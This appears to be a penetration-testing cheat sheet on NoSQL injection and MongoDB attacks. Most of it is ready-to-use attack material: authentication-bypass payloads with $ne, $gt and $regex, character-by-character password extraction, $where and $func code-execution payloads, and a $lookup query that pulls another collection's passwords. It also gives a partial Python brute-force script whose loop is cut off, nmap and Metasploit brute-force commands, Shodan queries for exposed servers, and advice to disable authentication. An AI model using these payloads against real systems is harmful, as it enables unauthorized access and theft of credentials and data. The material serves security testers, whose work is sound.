NoSQL Injection

Exploit

  • The following are common NoSQL metacharacters you could send in an API call to manipulate the database:
$gt
{"$gt":""}
{"$gt":-1}
$ne
{"$ne":""}
{"$ne":-1}
$nin
{"$nin":1}
{"$nin":[1]}
|| '1'=='1
//
||'a'\\'a
'||'1'=='1';//
'/{}:
'"\;{}
'"\/$[].>
{"$where": "sleep(1000)"}
  • Successful NoSQL injection attack using Postman: nosql

PHP

The exploits are based in adding an Operator

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

SQL - Mongo

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract data information

in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "in"

{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

"user":{"$func": "var_dump"}

Get info from different collection

It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:

A quick overview of mongoDB

  • Default port: 27017, 27018

Enumeration

Manual

from pymongo import MongoClient
client = MongoClient(host, port, username=username, password=password)
client.server_info() #Basic info
#If you have admin access you can obtain more info
admin = client.admin
admin_info = admin.command("serverStatus")
cursor = client.list_databases()
for db in cursor:
    print(db)
    print(client[db["name"]].list_collection_names())
#If admin access, you could dump the database also

Some MongoDB commnads:

show dbs
use <db>
show collections
db.<collection>.find()  #Dump the collection
db.<collection>.count() #Number of records of the collection
db.current.find({"username":"admin"})  #Find in current db the username admin

Automatic

#By default all the nmap mongo enumerate scripts are used
nmap -sV --script "mongo* and default" -p 27017 <IP>

Shodan

  • All mongodb: "mongodb server information"
  • Search for full open mongodb servers: "mongodb server information" -"partially enabled"
  • Only partially enable auth: "mongodb server information" "partially enabled"

Login

By default mongo does not require password. Admin is a common mongo database.

mongo <HOST>
mongo <HOST>:<PORT>
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'

The nmap script: mongodb-brute will check if creds are needed.

nmap -n -sV --script mongodb-brute -p 27017 <ip>

Brute force

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login

Look inside /opt/bitnami/mongodb/mongodb.conf to know if credentials are needed:

grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed

Mongo Objectid Predict

Mongo Object IDs are 12-byte hexadecimal strings:

mongo

For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019

  1. 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
  2. 9fa6dc: Machine Identifier
  3. 2500: Process ID
  4. 314019: An incremental counter

Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level.

The tool https://github.com/andresriancho/mongo-objectid-predict, given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them.

Post

If you are root you can modify the mongodb.conf file so no credentials are needed (noauth = true) and login without credentials.
